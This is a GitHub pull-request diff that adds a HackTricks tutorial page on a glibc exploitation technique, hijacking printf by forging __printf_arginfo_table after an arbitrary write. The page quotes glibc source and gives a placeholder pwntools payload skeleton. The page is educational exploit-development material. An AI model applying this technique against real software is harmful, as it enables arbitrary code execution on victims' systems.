Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -911,6 +911,7 @@
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [WWW2Exec - \_\_printf_arginfo_table](binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md)
- [Virtualbox Slirp Nat Packet Heap Exploitation](binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md)
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
# WWW2Exec - __printf_arginfo_table

{{#include ../../banners/hacktricks-training.md}}

Glibc allows users to register custom conversion specifiers (like `%s`, `%d`) for `printf`.

### Prerequisites

- Arbitrary write primitive in Glibc data.
- Ability to trigger a `printf` path after overwrite.
- Glibc base leak to resolve `__printf_function_table` / `__printf_arginfo_table`.

### How it Works

When `printf` is called, it checks a global variable `__printf_function_table`. If it is non-NULL, it uses `__printf_arginfo_table` to find the handler function for the current specifier.
1. Overwrite `__printf_function_table` with a non-zero value (e.g., 1).
2. Forge a table at the address pointed to by `__printf_arginfo_table`.
3. In that table, at index `ord('s')` (`0x73`), place the address of your gadget or `system`.

```c
size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg,
bool *failed)
{
// ...

/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
// ...
}

// ...
}
```

As can be seen, we need that `__printf_arginfo_table` is non-NULL, so that we can control the behavior of `printf`. The actual exploitable path is this call:

```c
(*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type, &spec->size)
```

### Exploitation

So, we need to set `__printf_arginfo_table[spec->info.spec]` to the function/address we want to call. Notice that `spec->info.spec` is the format specifier (e.g., `0x73` for `%s`, its ASCII value). As a result, when `printf` is called with `%s` as a format specifier, `spec->info.spec` will be `0x73`, so we need to set `__printf_arginfo_table[0x73]` to the function/address we want to call.

An example payload could be:

```py
from pwn import *

context.binary = ...

def arb_write(addr, val):
pass

one_gadget = ...
__printf_function_table_addr = ...
__printf_arginfo_table_addr = __printf_function_table_addr + 8

fake___printf_arginfo_table_addr = ...

arb_write(fake___printf_arginfo_table_addr + ord('s') * 8, one_gadget)
arb_write(__printf_arginfo_table_addr, fake___printf_arginfo_table_addr)
arb_write(__printf_function_table_addr, 1)
```

---

## References

- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).

{{#include ../../banners/hacktricks-training.md}}